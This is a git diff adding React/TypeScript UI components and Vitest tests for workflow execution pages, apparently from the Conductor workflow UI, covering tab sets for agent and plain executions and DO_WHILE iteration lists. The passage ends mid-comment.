b/ui-next/src/pages/execution/ExecutionJson.tsx @@ -0,0 +1,29 @@ +import { Box } from "@mui/material"; +import ReactJson from "components/ReactJson"; +import { WorkflowExecution } from "types/Execution"; + +export default function ExecutionJson({ + execution, +}: { + execution: WorkflowExecution; +}) { + return ( + + + + ); +} diff --git a/ui-next/src/pages/execution/ExecutionSummary.tsx b/ui-next/src/pages/execution/ExecutionSummary.tsx new file mode 100644 index 0000000..5678080 --- /dev/null +++ b/ui-next/src/pages/execution/ExecutionSummary.tsx @@ -0,0 +1,85 @@ +import { KeyValueTable, NavLink, Paper } from "components"; +import { type KeyValueTableRow } from "components/KeyValueTable"; +import { WorkflowExecution } from "types/Execution"; +import { useFetch } from "utils/query"; +import { + WorkflowSizeIndicator, + type WorkflowSizeResponse, +} from "./WorkflowSizeIndicator"; + +const style = { + paper: { + minHeight: 300, + }, +}; + +export default function ExecutionSummary({ + execution, +}: { + execution: WorkflowExecution; +}) { + const { data: sizeData } = useFetch( + `/workflow/${execution.workflowId}/size`, + { + when: !!execution.workflowId, + // Don't retry 404s — endpoint only exists in Orkes; OSS returns 404 and the row is suppressed + retry: (failureCount: number, error: unknown) => + (error as { status?: number })?.status !== 404 && failureCount < 3, + }, + ); + + // To accommodate unexecuted tasks, read type & name out of workflowTask + const data: KeyValueTableRow[] = ( + [ + { label: "Workflow id", value: execution.workflowId }, + { label: "Status", value: execution.status, type: "status" }, + execution.reasonForIncompletion && { + label: "Reason for incompletion", + value: execution.reasonForIncompletion, + type: "error", + }, + { label: "Version", value: execution.workflowVersion }, + { label: "Start time", value: execution.startTime, type: "date" }, + { label: "End time", value: execution.endTime, type: "date" }, + { + label: "Duration", + value: Number(execution.endTime) - Number(execution.startTime), + type: "duration", + }, + sizeData && { + label: "Workflow size", + value: , + }, + execution.parentWorkflowId && { + label: "Parent workflow id", + value: ( + + {execution.parentWorkflowId} + + ), + }, + execution.parentWorkflowTaskId && { + label: "Parent task id", + value: execution.parentWorkflowTaskId, + }, + execution.correlationId && { + label: "Correlation id", + value: execution.correlationId, + }, + execution.idempotencyKey && { + label: "Idempotency key", + value: execution.idempotencyKey, + }, + execution.event && { + label: "Trigger event", + value: execution.event, + }, + ] as (KeyValueTableRow | false)[] + ).filter(Boolean) as KeyValueTableRow[]; + + return ( + + + + ); +} diff --git a/ui-next/src/pages/execution/LeftPanelTabs.test.tsx b/ui-next/src/pages/execution/LeftPanelTabs.test.tsx new file mode 100644 index 0000000..c9dcdf1 --- /dev/null +++ b/ui-next/src/pages/execution/LeftPanelTabs.test.tsx @@ -0,0 +1,80 @@ +import { render, screen } from "@testing-library/react"; +import LeftPanelTabs from "./LeftPanelTabs"; +import { ExecutionTabs } from "./state/types"; +import { WorkflowExecution } from "types/Execution"; + +const baseExecution = { + workflowId: "exec-1", + tasks: [], +} as unknown as WorkflowExecution; + +const agentExecution = { + ...baseExecution, + workflowDefinition: { + metadata: { agentDef: { name: "some_agent" } }, + }, +} as unknown as WorkflowExecution; + +const plainExecution = { + ...baseExecution, + workflowDefinition: { metadata: {} }, +} as unknown as WorkflowExecution; + +function tabLabels() { + return screen.getAllByRole("tab").map((el) => el.textContent); +} + +describe("LeftPanelTabs", () => { + it("shows the AgentSpan-matching curated tab set, in order, for an agent-classified execution", () => { + render( + {}} + />, + ); + expect(tabLabels()).toEqual([ + "Agent Execution", + "Debug View", + "Task List", + "Timeline", + "Agent Definition", + "JSON", + ]); + }); + + it("keeps the full, unrelabeled Conductor tab set for a plain workflow execution", () => { + render( + {}} + />, + ); + expect(tabLabels()).toEqual([ + "Diagram", + "Task List", + "Timeline", + "Summary", + "Workflow Input/Output", + "JSON", + "Variables", + "Tasks to Domain", + ]); + }); + + it("relabels the Summary tab as 'Agent Definition' but keeps the same underlying SUMMARY_TAB value", () => { + const onChangeExecutionTab = vi.fn(); + render( + , + ); + screen.getByRole("tab", { name: "Agent Definition" }).click(); + expect(onChangeExecutionTab).toHaveBeenCalledWith( + ExecutionTabs.SUMMARY_TAB, + ); + }); +}); diff --git a/ui-next/src/pages/execution/LeftPanelTabs.tsx b/ui-next/src/pages/execution/LeftPanelTabs.tsx new file mode 100644 index 0000000..84c46e7 --- /dev/null +++ b/ui-next/src/pages/execution/LeftPanelTabs.tsx @@ -0,0 +1,189 @@ +import AutoAwesomeIcon from "@mui/icons-material/AutoAwesome"; +import { Box, Button } from "@mui/material"; +import { Tab, Tabs } from "components"; +import { agentFirstUseAtom } from "components/features/agent/agentAtomsStore"; +import { useAtom } from "jotai"; +import { WorkflowExecution } from "types/Execution"; +import { featureFlags, FEATURES } from "utils/flags"; +import { isAgentWorkflowExecution } from "./helpers"; +import { ExecutionTabs } from "./state/types"; + +export interface LeftPanelTabsProps { + execution: WorkflowExecution; + openedTab: ExecutionTabs; + onChangeExecutionTab: (tab: ExecutionTabs) => void; + onToggleAssistant?: () => void; + isAssistantOpen?: boolean; +} + +const isWorkflowIntrospectionEnabled = featureFlags.isEnabled( + FEATURES.WORKFLOW_INTROSPECTION, +); + +const showAgent = featureFlags.isEnabled(FEATURES.SHOW_AGENT); + +export default function LeftPanelTabs({ + execution, + openedTab, + onChangeExecutionTab, + onToggleAssistant, + isAssistantOpen, +}: LeftPanelTabsProps) { + const [firstUse] = useAtom(agentFirstUseAtom); + + const isAgentWorkflow = isAgentWorkflowExecution(execution); + + // Agent-classified executions get a curated tab set that matches + // AgentSpan's own UI 1:1: Agent Execution, Debug View (Diagram, relabeled), + // Task List, Timeline, Agent Definition (Summary, relabeled), JSON — no + // Workflow Input/Output, Variables, or Tasks to Domain. Regular workflows + // keep the full Conductor tab set unchanged. + const leftPanelTabItems = isAgentWorkflow + ? [ + { + label: "Agent Execution", + onClick: () => + onChangeExecutionTab(ExecutionTabs.AGENT_EXECUTION_TAB), + value: ExecutionTabs.AGENT_EXECUTION_TAB, + }, + { + label: "Debug View", + onClick: () => onChangeExecutionTab(ExecutionTabs.DIAGRAM_TAB), + value: ExecutionTabs.DIAGRAM_TAB, + }, + { + label: "Task List", + onClick: () => onChangeExecutionTab(ExecutionTabs.TASK_LIST_TAB), + value: ExecutionTabs.TASK_LIST_TAB, + }, + { + label: "Timeline", + onClick: () => onChangeExecutionTab(ExecutionTabs.TIMELINE_TAB), + value: ExecutionTabs.TIMELINE_TAB, + }, + { + label: "Agent Definition", + onClick: () => onChangeExecutionTab(ExecutionTabs.SUMMARY_TAB), + value: ExecutionTabs.SUMMARY_TAB, + }, + { + label: "JSON", + onClick: () => onChangeExecutionTab(ExecutionTabs.JSON_TAB), + value: ExecutionTabs.JSON_TAB, + }, + ] + : [ + { + label: "Diagram", + onClick: () => onChangeExecutionTab(ExecutionTabs.DIAGRAM_TAB), + value: ExecutionTabs.DIAGRAM_TAB, + }, + { + label: "Task List", + onClick: () => onChangeExecutionTab(ExecutionTabs.TASK_LIST_TAB), + value: ExecutionTabs.TASK_LIST_TAB, + }, + { + label: "Timeline", + onClick: () => onChangeExecutionTab(ExecutionTabs.TIMELINE_TAB), + value: ExecutionTabs.TIMELINE_TAB, + }, + { + label: "Summary", + onClick: () => onChangeExecutionTab(ExecutionTabs.SUMMARY_TAB), + value: ExecutionTabs.SUMMARY_TAB, + }, + { + label: "Workflow Input/Output", + onClick: () => + onChangeExecutionTab(ExecutionTabs.WORKFLOW_INPUT_OUTPUT_TAB), + value: ExecutionTabs.WORKFLOW_INPUT_OUTPUT_TAB, + }, + { + label: "JSON", + onClick: () => onChangeExecutionTab(ExecutionTabs.JSON_TAB), + value: ExecutionTabs.JSON_TAB, + }, + { + label: "Variables", + onClick: () => onChangeExecutionTab(ExecutionTabs.VARIABLES_TAB), + value: ExecutionTabs.VARIABLES_TAB, + }, + { + label: "Tasks to Domain", + onClick: () => + onChangeExecutionTab(ExecutionTabs.TASKS_TO_DOMAIN_TAB), + value: ExecutionTabs.TASKS_TO_DOMAIN_TAB, + }, + ]; + + // Add Workflow Introspection tab only if the feature flag is enabled — + // inserted right after "Timeline" in either tab set (matches AgentSpan's + // own splice position for the agent set, and the pre-existing position + // for the regular set). + if (isWorkflowIntrospectionEnabled) { + const timelineIndex = leftPanelTabItems.findIndex( + (item) => item.value === ExecutionTabs.TIMELINE_TAB, + ); + leftPanelTabItems.splice(timelineIndex + 1, 0, { + label: "Workflow Introspection", + onClick: () => onChangeExecutionTab(ExecutionTabs.WORKFLOW_INTROSPECTION), + value: ExecutionTabs.WORKFLOW_INTROSPECTION, + }); + } + + return ( + + + {leftPanelTabItems.map(({ label, onClick, value }) => ( + + ))} + + + {showAgent && onToggleAssistant && ( + + + + )} + + ); +} diff --git a/ui-next/src/pages/execution/NoAnimRangeSlider.tsx b/ui-next/src/pages/execution/NoAnimRangeSlider.tsx new file mode 100644 index 0000000..544fe57 --- /dev/null +++ b/ui-next/src/pages/execution/NoAnimRangeSlider.tsx @@ -0,0 +1,45 @@ +import Slider from "@mui/material/Slider"; +import { styled } from "@mui/material/styles"; +import _nth from "lodash/nth"; + +const CustomSlider = styled(Slider)((props) => { + // used for switching the tooltip/label position + const min = props.min ?? 0; + const max = props.max ?? 0; + const mid = (min + max) / 2; + const currentMinVal = _nth(props?.value as number[], 0) ?? min; + const currentMaxVal = _nth(props?.value as number[], 1) ?? max; + // + return { + "& .MuiSlider-thumb": { + transition: "none", + }, + "& .MuiSlider-track": { + transition: "none", + }, + + "& .MuiSlider-markLabel": { + color: "primary.contrastText", + fontSize: "0.75rem", + }, + '&.MuiSlider-root .MuiSlider-thumb[data-index="0"] .MuiSlider-valueLabel': { + ...(currentMinVal < mid + ? { marginLeft: "166px" } + : { marginRight: "166px" }), + + "&::before": { + left: currentMinVal < mid ? "12px" : "calc(100% - 12px)", + }, + }, + '&.MuiSlider-root .MuiSlider-thumb[data-index="1"] .MuiSlider-valueLabel': { + ...(currentMaxVal > mid + ? { marginRight: "166px" } + : { marginLeft: "166px" }), + "&::before": { + left: currentMaxVal > mid ? "calc(100% - 12px)" : "12px", + }, + }, + }; +}); + +export default CustomSlider; diff --git a/ui-next/src/pages/execution/RightPanel/CollapsibleIterationList.tsx b/ui-next/src/pages/execution/RightPanel/CollapsibleIterationList.tsx new file mode 100644 index 0000000..ff48e7a --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/CollapsibleIterationList.tsx @@ -0,0 +1,271 @@ +import { + Box, + InputAdornment, + OutlinedInput, + Popover, + Typography, +} from "@mui/material"; +import { CaretUpDown, X } from "@phosphor-icons/react"; +import React, { + ReactNode, + useCallback, + useEffect, + useMemo, + useRef, + useState, + useReducer, +} from "react"; +import { useVirtualizer } from "@tanstack/react-virtual"; +import { colors } from "theme/tokens/variables"; + +const ITEM_HEIGHT = 36; +const MAX_LIST_HEIGHT = 300; + +export interface CollapsibleIterationListProps { + items: T[]; + headerLabel: ReactNode; + selectedLabel?: string; + renderItem: (item: T, index: number) => ReactNode; + onSelect: (item: T, index: number) => void; + isItemSelected?: (item: T, index: number) => boolean; + trailing?: ReactNode; + totalItems?: number; + onPrefetch?: (value: number) => void; + onJumpTo?: (value: number) => void; + onScrollEnd?: () => void; + getItemValue: (item: T) => number; +} + +export function CollapsibleIterationList({ + items, + headerLabel, + renderItem, + onSelect, + isItemSelected, + trailing, + onScrollEnd, + getItemValue, +}: CollapsibleIterationListProps) { + const [anchorEl, setAnchorEl] = useState(null); + const [query, setQuery] = useState(""); + const open = Boolean(anchorEl); + const scrollElRef = useRef(null); + // Forces a re-render once the Popover mounts the scroll container so the + // virtualizer can measure it on first open (before any query change occurs). + const [, forceUpdate] = useReducer((n: number) => n + 1, 0); + const setScrollRef = useCallback((node: HTMLDivElement | null) => { + scrollElRef.current = node; + if (node) forceUpdate(); + }, []); + + // Pair each item with its original index so filtering doesn't lose position + const filteredItems = useMemo(() => { + const indexed = items.map((item, i) => ({ item, index: i })); + if (!query) return indexed; + return indexed.filter(({ item }) => + String(getItemValue(item)).startsWith(query), + ); + }, [items, query, getItemValue]); + + const listHeight = useMemo( + () => Math.min(filteredItems.length * ITEM_HEIGHT, MAX_LIST_HEIGHT), + [filteredItems.length], + ); + + const virtualizer = useVirtualizer({ + count: filteredItems.length, + getScrollElement: () => scrollElRef.current, + estimateSize: () => ITEM_HEIGHT, + overscan: 8, + }); + + // Scroll to top whenever the filtered set changes + useEffect(() => { + if (open) scrollElRef.current?.scrollTo({ top: 0 }); + }, [query, open]); + + const handleClose = useCallback(() => { + setAnchorEl(null); + setQuery(""); + }, []); + + const handleScroll = useCallback( + (e: React.UIEvent) => { + if (!onScrollEnd) return; + const el = e.currentTarget; + if (el.scrollHeight - el.scrollTop - el.clientHeight < 200) { + onScrollEnd(); + } + }, + [onScrollEnd], + ); + + const handleSelect = useCallback( + (item: T, index: number) => { + onSelect(item, index); + handleClose(); + }, + [onSelect, handleClose], + ); + + const selectedIndex = items.findIndex( + (item, i) => isItemSelected?.(item, i) ?? false, + ); + const triggerContent = + selectedIndex >= 0 + ? renderItem(items[selectedIndex], selectedIndex) + : headerLabel; + + return ( + + {/* Trigger — styled to match MUI Select (small) */} + setAnchorEl(e.currentTarget)} + sx={{ + flex: 1, + minWidth: 0, + display: "flex", + alignItems: "center", + justifyContent: "space-between", + px: 1.5, + height: 36, + border: "1px solid", + borderColor: open ? "primary.main" : "divider", + borderRadius: 1, + cursor: "pointer", + fontSize: 13, + backgroundColor: "background.paper", + boxSizing: "border-box", + "&:hover": { borderColor: "text.primary" }, + }} + > + + {triggerContent} + + + + + {trailing && ( + + {trailing} + + )} + + + {/* Search input */} + + setQuery(e.target.value)} + placeholder="Search iterations…" + fullWidth + autoFocus + size="small" + sx={{ fontSize: 13 }} + endAdornment={ + query ? ( + + setQuery("")} + sx={{ + display: "flex", + alignItems: "center", + color: colors.gray04, + cursor: "pointer", + "&:hover": { color: "text.primary" }, + }} + > + + + + ) : null + } + /> + + + {/* Virtualized list */} + {filteredItems.length === 0 ? ( + + No iterations found + + ) : ( + +
      + {virtualizer.getVirtualItems().map((vItem) => { + const { item, index } = filteredItems[vItem.index]; + const selected = isItemSelected?.(item, index) ?? false; + return ( + handleSelect(item, index)} + sx={{ + position: "absolute", + top: 0, + width: "100%", + transform: `translateY(${vItem.start}px)`, + height: vItem.size, + display: "flex", + alignItems: "center", + px: 2, + fontSize: 13, + cursor: "pointer", + fontWeight: selected ? 500 : 400, + backgroundColor: selected + ? "action.selected" + : "transparent", + "&:hover": { + backgroundColor: selected + ? "action.selected" + : "action.hover", + opacity: selected ? 0.85 : 1, + }, + }} + > + {renderItem(item, index)} + + ); + })} +
      +       + )} +       +       + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/DoWhileIteration.test.tsx b/ui-next/src/pages/execution/RightPanel/DoWhileIteration.test.tsx new file mode 100644 index 0000000..ecd4559 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/DoWhileIteration.test.tsx @@ -0,0 +1,240 @@ +/** + * Unit tests for DoWhileIteration status-display logic. + * + * These tests cover the two functions that determine which icon is rendered + * next to each iteration row: + * + * getOrderedIterationKeys – builds the descending list of iteration numbers + * deriveFallbackIterationStatus – picks the per-row TaskStatus when the API has + * not returned a per-iteration status field + * + * NOTE: component-render tests (using @testing-library/react) cannot run in + * this monorepo because the outer workspace (conductor-ui) and this package + * both install react/react-dom, causing a "two React instances" dispatcher + * conflict. All meaningful status logic has therefore been extracted into + * pure, synchronously testable functions. + */ + +import { describe, expect, it } from "vitest"; + +import { TaskStatus } from "types/TaskStatus"; +import { featureFlags, FEATURES } from "utils/flags"; +import { + deriveFallbackIterationStatus, + getOrderedIterationKeys, + isIterationSummarized, +} from "./doWhileIterationHelpers"; + +// --------------------------------------------------------------------------- +// WORKFLOW_SUMMARIZE feature flag +// +// The summarize toggle is an Orkes-only feature. IterationSection calls +// featureFlags.isEnabled(FEATURES.WORKFLOW_SUMMARIZE, true) +// with defaultValue=true, meaning the toggle is ON in any environment that +// does not explicitly configure the flag. The OSS context.js opts out by +// setting WORKFLOW_SUMMARIZE: false. Tests run without context.js, so they +// exercise the defaultValue path. +// --------------------------------------------------------------------------- + +describe("WORKFLOW_SUMMARIZE feature flag", () => { + it("is registered in the FEATURES map with the correct string key", () => { + expect(FEATURES.WORKFLOW_SUMMARIZE).toBe("WORKFLOW_SUMMARIZE"); + }); + + it("returns false when the flag is unconfigured and no default is supplied (base default)", () => { + // In test env window.conductor and env vars are not set, so result is + // undefined and isEnabled returns its own defaultValue param (false). + expect(featureFlags.isEnabled(FEATURES.WORKFLOW_SUMMARIZE)).toBe(false); + }); + + it("returns true when the flag is unconfigured but caller supplies defaultValue=true", () => { + // This is the call site in IterationSection: the toggle shows in Orkes + // environments unless context.js explicitly sets the flag to false. + expect(featureFlags.isEnabled(FEATURES.WORKFLOW_SUMMARIZE, true)).toBe( + true, + ); + }); +}); + +// --------------------------------------------------------------------------- +// isIterationSummarized +// --------------------------------------------------------------------------- + +describe("isIterationSummarized", () => { + // Key absent cases — the iteration was pruned from outputData + + it("returns true when key is absent and task is not processing (pruned by keepLastN)", () => { + expect(isIterationSummarized(5, { "1": {} }, false)).toBe(true); + }); + + it("returns false when key is absent but task is still processing (iteration not yet written)", () => { + expect(isIterationSummarized(2, { "1": {} }, true)).toBe(false); + }); + + // Key present cases — value determines whether the entry was summarized + + it("returns true when value carries the _summarized sentinel", () => { + expect( + isIterationSummarized(1, { "1": { _summarized: true } }, false), + ).toBe(true); + }); + + it("returns false when value has _summarized: false", () => { + expect( + isIterationSummarized(1, { "1": { _summarized: false } }, false), + ).toBe(false); + }); + + it("returns false when value has no _summarized field (real data)", () => { + expect(isIterationSummarized(1, { "1": { result: "ok" } }, false)).toBe( + false, + ); + }); + + it("returns false when value is null", () => { + expect(isIterationSummarized(1, { "1": null }, false)).toBe(false); + }); + + it("returns false when value is a non-object primitive", () => { + expect(isIterationSummarized(1, { "1": "done" as unknown }, false)).toBe( + false, + ); + }); + + it("returns true when _summarized is present alongside other fields", () => { + expect( + isIterationSummarized( + 3, + { "3": { _summarized: true, status: "COMPLETED" } }, + false, + ), + ).toBe(true); + }); + + it("returns false for an empty outputData object when task is processing", () => { + expect(isIterationSummarized(1, {}, true)).toBe(false); + }); + + it("returns true for an empty outputData object when task is not processing", () => { + expect(isIterationSummarized(1, {}, false)).toBe(true); + }); +}); + +// --------------------------------------------------------------------------- +// getOrderedIterationKeys +// --------------------------------------------------------------------------- + +describe("getOrderedIterationKeys", () => { + it("returns descending numbers matching outputData keys", () => { + expect( + getOrderedIterationKeys({ "1": {}, "2": {}, "3": {} }, { iteration: 3 }), + ).toEqual([3, 2, 1]); + }); + + it("fills up to task.iteration when it exceeds outputData keys", () => { + expect(getOrderedIterationKeys({ "1": {} }, { iteration: 4 })).toEqual([ + 4, 3, 2, 1, + ]); + }); + + it("returns empty array for empty inputs", () => { + expect(getOrderedIterationKeys({}, {})).toEqual([]); + }); + + it("returns numeric keys descending when task.iteration is absent", () => { + expect(getOrderedIterationKeys({ "3": {}, "1": {}, "2": {} }, {})).toEqual([ + 3, 2, 1, + ]); + }); + + it("ignores non-numeric output keys", () => { + const result = getOrderedIterationKeys( + { "1": {}, foo: {}, "2": {} }, + { iteration: 2 }, + ); + expect(result).toEqual([2, 1]); + }); +}); + +// --------------------------------------------------------------------------- +// deriveFallbackIterationStatus +// --------------------------------------------------------------------------- + +describe("deriveFallbackIterationStatus", () => { + it("returns COMPLETED when the iteration key exists in outputData", () => { + const outputData = { "1": { result: "ok" }, "2": { result: "ok" } }; + expect( + deriveFallbackIterationStatus(1, outputData, TaskStatus.FAILED), + ).toBe(TaskStatus.COMPLETED); + expect( + deriveFallbackIterationStatus(2, outputData, TaskStatus.FAILED), + ).toBe(TaskStatus.COMPLETED); + }); + + it("returns the parent task status when the iteration key is absent", () => { + const outputData = { "1": { result: "ok" } }; + expect( + deriveFallbackIterationStatus(2, outputData, TaskStatus.FAILED), + ).toBe(TaskStatus.FAILED); + }); + + it("returns IN_PROGRESS for the active iteration of a running loop", () => { + const outputData = { "1": { result: "ok" } }; + expect( + deriveFallbackIterationStatus(2, outputData, TaskStatus.IN_PROGRESS), + ).toBe(TaskStatus.IN_PROGRESS); + }); + + it("returns TIMED_OUT for the active iteration of a timed-out loop", () => { + const outputData = { "1": { result: "ok" } }; + expect( + deriveFallbackIterationStatus(2, outputData, TaskStatus.TIMED_OUT), + ).toBe(TaskStatus.TIMED_OUT); + }); + + it("returns COMPLETED even when the parent task is FAILED (earlier iteration completed)", () => { + const outputData = { "1": {}, "2": {}, "3": {} }; + // iterations 1-3 all completed; the task failed on a later iteration + expect( + deriveFallbackIterationStatus(1, outputData, TaskStatus.FAILED), + ).toBe(TaskStatus.COMPLETED); + }); +}); + +// --------------------------------------------------------------------------- +// End-to-end: status derivation → TaskStatus value passed to IterationStatusIcon +// +// These confirm the correct TaskStatus is produced for each scenario so that +// IterationStatusIcon receives the right value and renders the right icon. +// --------------------------------------------------------------------------- + +describe("status derivation → TaskStatus for IterationStatusIcon", () => { + it("completed iteration yields COMPLETED", () => { + expect( + deriveFallbackIterationStatus(1, { "1": {} }, TaskStatus.FAILED), + ).toBe(TaskStatus.COMPLETED); + }); + + it("active failed iteration yields FAILED", () => { + expect( + deriveFallbackIterationStatus(3, { "1": {}, "2": {} }, TaskStatus.FAILED), + ).toBe(TaskStatus.FAILED); + }); + + it("active in-progress iteration yields IN_PROGRESS", () => { + expect( + deriveFallbackIterationStatus(2, { "1": {} }, TaskStatus.IN_PROGRESS), + ).toBe(TaskStatus.IN_PROGRESS); + }); + + it("active timed-out iteration yields TIMED_OUT", () => { + expect( + deriveFallbackIterationStatus(2, { "1": {} }, TaskStatus.TIMED_OUT), + ).toBe(TaskStatus.TIMED_OUT); + }); + + it("fetched iteration with no status falls back to COMPLETED", () => { + const status: TaskStatus | undefined = undefined; + expect(status ?? TaskStatus.COMPLETED).toBe(TaskStatus.COMPLETED); + }); +}); diff --git a/ui-next/src/pages/execution/RightPanel/DoWhileIteration.tsx b/ui-next/src/pages/execution/RightPanel/DoWhileIteration.tsx new file mode 100644 index 0000000..4783dd8 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/DoWhileIteration.tsx @@ -0,0 +1,212 @@ +import { Box, Typography } from "@mui/material"; +import ConductorTooltip from "components/ui/ConductorTooltip"; +import _nth from "lodash/nth"; +import { useCallback, useEffect, useMemo } from "react"; +import { colors } from "theme/tokens/variables"; +import { AuthHeaders } from "types/common"; +import { DoWhileSelection, ExecutionTask } from "types/Execution"; +import { TaskStatus } from "types/TaskStatus"; +import { CollapsibleIterationList } from "./CollapsibleIterationList"; +import { + deriveFallbackIterationStatus, + getOrderedIterationKeys, + isIterationSummarized, +} from "./doWhileIterationHelpers"; +import { IterationHeaderLabel } from "./IterationHeaderLabel"; +import { IterationStatusIcon } from "./IterationStatusIcon"; +import { SummarizeToggle } from "./SummarizeToggle"; +import { useFullWorkflowQuery } from "./useFullWorkflowQuery"; + +export interface DoWhileIterationProps { + selectedTask: ExecutionTask; + handleSelectDoWhileIteration: (data: DoWhileSelection) => void; + handleSelectTask?: (task: ExecutionTask) => void; + doWhileSelection?: DoWhileSelection[]; + executionId?: string; + authHeaders?: AuthHeaders; + isSummarized: boolean; + onToggleSummarize?: (checked: boolean) => void; +} + +export const DoWhileIteration = ({ + selectedTask, + handleSelectDoWhileIteration, + handleSelectTask, + doWhileSelection, + executionId, + authHeaders, + isSummarized, + onToggleSummarize, +}: DoWhileIterationProps) => { + const taskReferenceName = selectedTask?.referenceTaskName; + + // Shared query with InlineTaskIterations — one fetch, cached for both. + const { data: fullWorkflow } = useFullWorkflowQuery( + executionId, + authHeaders, + !isSummarized, + ); + + // When full data is available use the DO_WHILE task's real outputData + // (without summarize sentinels). Fall back to the locally-loaded task. + const fullDoWhileTask = useMemo( + () => + fullWorkflow?.tasks?.find( + (t: ExecutionTask) => + t.taskType === "DO_WHILE" && + (t.referenceTaskName === taskReferenceName || + t.workflowTask?.taskReferenceName === taskReferenceName), + ), + [fullWorkflow, taskReferenceName], + ); + + const outputData = useMemo( + () => + (!isSummarized && fullDoWhileTask?.outputData) || + selectedTask?.outputData || + {}, + [isSummarized, fullDoWhileTask, selectedTask], + ); + + const iterationOptions = useMemo( + () => getOrderedIterationKeys(outputData, selectedTask), + [outputData, selectedTask], + ); + + // When the user toggles off summarize, re-select the DO_WHILE task with its + // full version so Input/Output tabs reflect the newly loaded data. + useEffect(() => { + if (isSummarized || !fullDoWhileTask || !handleSelectTask) return; + // The DO_WHILE task itself is never marked _summarized (unlike + // IterationPlaceholder objects used by InlineTaskIterations). The server + // may summarize by keeping only the last N real entries (no sentinel + // marker), so compare numeric key counts: if selectedTask has fewer + // iteration entries than the full data, replace it. + const countNumericKeys = (data: unknown) => + Object.keys((data as Record) ?? {}).filter( + (k) => !isNaN(Number(k)), + ).length; + const selectedCount = countNumericKeys(selectedTask?.outputData); + const fullCount = countNumericKeys(fullDoWhileTask.outputData); + if (selectedCount < fullCount) { + handleSelectTask(fullDoWhileTask); + } + // handleSelectTask is intentionally omitted — it's a stable actor dispatch + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [isSummarized, fullDoWhileTask, selectedTask]); + + const isTaskProcessing = [ + TaskStatus.PENDING, + TaskStatus.SCHEDULED, + TaskStatus.IN_PROGRESS, + ].includes(selectedTask.status); + + const currentIteration = _nth( + doWhileSelection?.filter( + (item) => + item.doWhileTaskReferenceName === selectedTask?.referenceTaskName, + ), + 0, + )?.selectedIteration; + + const handleSelect = useCallback( + (option: number) => { + handleSelectDoWhileIteration({ + doWhileTaskReferenceName: selectedTask?.referenceTaskName, + selectedIteration: option, + }); + }, + [handleSelectDoWhileIteration, selectedTask?.referenceTaskName], + ); + + const headerText = + currentIteration != null + ? `Iteration ${currentIteration}` + : `Iterations (${iterationOptions.length})`; + + const keepLastNTrailing = + selectedTask?.inputData?.keepLastN != null ? ( + + info + + ) : null; + + const trailing = + keepLastNTrailing || onToggleSummarize ? ( + <> + {keepLastNTrailing} + {onToggleSummarize && ( + + )} + + ) : undefined; + + return ( + <> + + } + trailing={trailing} + totalItems={iterationOptions.length} + getItemValue={(option) => option} + onJumpTo={handleSelect} + onSelect={(option) => handleSelect(option)} + isItemSelected={(option) => currentIteration === option} + renderItem={(option) => { + const summarized = isIterationSummarized( + option, + outputData, + isTaskProcessing, + ); + return ( + <> + + + + Iteration {option} + {summarized && ( + + (summarized) + + )} + + ); + }} + /> + + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/InlineTaskIterations.tsx b/ui-next/src/pages/execution/RightPanel/InlineTaskIterations.tsx new file mode 100644 index 0000000..2a8275a --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/InlineTaskIterations.tsx @@ -0,0 +1,216 @@ +import { Box, Typography } from "@mui/material"; +import { useEffect, useMemo } from "react"; +import { colors } from "theme/tokens/variables"; +import { AuthHeaders } from "types/common"; +import { ExecutionTask } from "types/Execution"; +import { TaskStatus } from "types/TaskStatus"; +import { CollapsibleIterationList } from "./CollapsibleIterationList"; +import { IterationHeaderLabel } from "./IterationHeaderLabel"; +import { + fillIterationPlaceholders, + IterationPlaceholder, +} from "./iterationHelpers"; +import { IterationStatusIcon } from "./IterationStatusIcon"; +import { SummarizeToggle } from "./SummarizeToggle"; +import { useFullWorkflowQuery } from "./useFullWorkflowQuery"; + +/** + * ExecutionTask augmented with UI-internal fields injected by hook.ts when + * building synthetic placeholder rows for iterations not yet in the task list. + */ +export interface AugmentedExecutionTask extends ExecutionTask { + iteration?: number; + _parentDoWhileRef?: string; + _summarized?: boolean; + _totalIterations?: number; +} + +export interface InlineTaskIterationsProps { + retryIterationOptions: (AugmentedExecutionTask | IterationPlaceholder)[]; + selectedTask: AugmentedExecutionTask; + isIteration: boolean; + handleSelectTask: (task: ExecutionTask) => void; + executionId?: string; + authHeaders?: AuthHeaders; + parentDoWhileRef?: string; + isSummarized: boolean; + onToggleSummarize?: (checked: boolean) => void; +} + +export const InlineTaskIterations = ({ + retryIterationOptions, + selectedTask, + isIteration, + handleSelectTask, + executionId, + authHeaders, + parentDoWhileRef, + isSummarized, + onToggleSummarize, +}: InlineTaskIterationsProps) => { + const innerTaskRef = selectedTask?.workflowTask?.taskReferenceName; + + // Shared query with DoWhileIteration — one fetch, cached for both. + const { data: fullWorkflow, isFetching } = useFullWorkflowQuery( + executionId, + authHeaders, + !isSummarized, + ); + + // When full data is available, rebuild the iteration list from the complete + // task list rather than the summarized loopOver. This resolves placeholder + // items that were created because the initial load used summarize=true. + const resolvedOptions = useMemo(() => { + if (isSummarized || !fullWorkflow?.tasks) return retryIterationOptions; + + const innerTasks: AugmentedExecutionTask[] = fullWorkflow.tasks.filter( + (t: ExecutionTask) => + t.workflowTask?.taskReferenceName === innerTaskRef && + (t.iteration ?? 0) > 0, + ); + + // totalIterations is preserved from the original (possibly summarized) list + // since retryIterationOptions always has length == total iteration count. + const totalIterations = retryIterationOptions.length; + + return fillIterationPlaceholders( + innerTasks, + totalIterations, + parentDoWhileRef, + selectedTask.workflowTask, + ); + }, [ + isSummarized, + fullWorkflow, + retryIterationOptions, + innerTaskRef, + parentDoWhileRef, + selectedTask.workflowTask, + ]); + + // When the user toggles off summarize, re-select the current task with its + // full version so Input/Output tabs reflect the newly loaded data. + useEffect(() => { + if (isSummarized || !fullWorkflow || !selectedTask._summarized) return; + const fullTask = resolvedOptions.find( + (opt) => opt.iteration === selectedTask.iteration, + ); + if (fullTask && !("_placeholder" in fullTask)) { + handleSelectTask(fullTask as ExecutionTask); + } + // handleSelectTask is intentionally omitted — it's a stable actor dispatch. + // selectedTask.taskId is included so the effect re-fires when the selected + // task changes to a different summarized task (e.g. via iteration restore). + // eslint-disable-next-line 